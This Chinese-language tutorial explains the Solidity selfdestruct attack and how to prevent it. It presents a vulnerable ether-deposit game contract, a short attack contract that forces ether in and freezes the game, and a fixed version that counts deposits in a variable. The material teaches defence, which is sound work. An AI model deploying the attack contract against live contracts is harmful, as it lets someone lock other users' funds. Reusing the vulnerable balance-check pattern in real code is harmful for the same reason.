区块链合约安全系列（三）：如何认识及预防公链合约中的自毁攻击

id:BSN_2021 公众号：BSN 研习社 作者：红枣科技张雪良

背景：由于公链环境下所有的信息都是共享的，智能合约相当于是完全透明化，任何人都可以调用，外加一些利益的驱动，导致引发了很多hacker的攻击。其中self destruct攻击也是常见的攻击方式之一。

目标：将目标合约瘫痪掉，无法做正常的业务，从而认识以及预防自毁攻击漏洞。

对象：适用于用Solidity语言开发的智能合约，例如BSN中的武汉链(基于ETH）和泰安链（基于 fisco bcos）上运行的智能合约。

前言

在进入正题之前，我先带大家从基础知识点开始一点点深入到怎么攻击以及预防。好，废话不多话，先看下selfdestruct的官方解释：

selfdestruct(address payable recipient)

Destroy the current contract, sending its funds to the given Address and end execution

理解起来也很简单，就是说合约销毁的时候，可以把ether转到指定的地址。

常见的用法 : 当我们的合约有漏洞或者业务变更的变化时，需要把它销毁掉，以避免造成更多的影响。此时可以在合约里提供一个销毁方法；

示例如下：

pragma solidity >=0.7.0 <0.9.0;
contract Destructible {
    address payable owner;
    constructor() {
       owner = payable(msg.sender); 
    }
   
     // 销毁合约
    function destroy() public {
        if (msg.sender == owner){
           selfdestruct(owner);
        }
    }
}

当需要销毁时，合约的owner可以调用destory()方法进行合约销毁。

那接下来，我们正式进入主题，如何使用self-destory进行攻击。

攻击演示

1. 合约示例

演示需要用到的两个合约，一个模拟业务合约，一个为攻击合约。

业务合约： 一个简单的游戏，每个用户每次可以存放1ether到合约里，等到第7次存放的用户将成为赢家，可以把7ether提到自己账户里。

攻击合约： 编写了一个合约销毁的方法，即本合约销毁时会发送ether到指定的合约。

攻击逻辑： 调用攻击合约的attack方法，使得上述的业务合约余额超过7。

示例如下：

pragma solidity >=0.7.0 <0.9.0;

// 业务合约
contract EtherGame {
    uint public targetAmount = 7 ether;
    address public winner;
    // 充值ether
    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }
    // 提取ether
    function claimReward() public {
        require(msg.sender == winner, "Not winner");
        winner = address(0);
        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
    // 查询当前余额
    function balanceOf() public view returns (uint){
        return address(this).balance;
    }
}
// 攻击合约
contract Attack {

    EtherGame etherGame;
    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }
    
    // 合约销毁和发送ether
    function attack() public payable {
        // 发送ether到指定的业务合约
        selfdestruct(payable(address(etherGame)));
    }

}

2. 合约部署

老规矩，我们使用remix进行部署测试。

部署成功后，截图如下：

3. 正常业务操作

准备两个账户A和B，分别为100ether。 具体操作流程为：A调用5次存放5ether，B调用2次存放2ether，B将成为winner，然后提取7ether。

两个账户合计调用7次后，查询余额以及winner信息，截图如下：

B账户提取ether，结果截图如下：

上面的图中可以看到，B账户成功的提取了合约里的7 ether。

4. 攻击操作

我们还是用上面的两个账户账户A和B。 具体操作流程为：A调用5次存放5ether，B调用攻击合约的attack方法并发送3ether。

上图可以发现业务合约当前余额为8 ether。

上图可以看到攻击合约的owner变为0x0地址。

到此，业务合约已被攻击，即业务无法正常进行，不能存放以及提取。

下面，我们进行测试depoit和claimReward的方法调用，结果信息截图如下：

解决方案

最后，给大家推荐一个常用的方案：将全局address(this).balance改为变量统计进入deposit逻辑的ether数量。

最终代码如下所示：

pragma solidity >=0.7.0 <0.9.0;

// 业务合约
contract EtherGame {
    uint public targetAmount = 7 ether;
    address public winner;
    uint public balance;// 记录ether数量
    // 充值ether
    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        balance += msg.value;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }
    // 提取ether
    function claimReward() public {
        require(msg.sender == winner, "Not winner");
        winner = address(0);
        (bool sent, ) = msg.sender.call{value: balance}("");
        require(sent, "Failed to send Ether");
        
    }
    // 查询当前余额
    function balanceOf() public view returns (uint){
        return address(this).balance;
    }
}

今天的讲解到此结束，感谢大家的阅读，如果你有其他的想法或者建议，欢迎一块交流。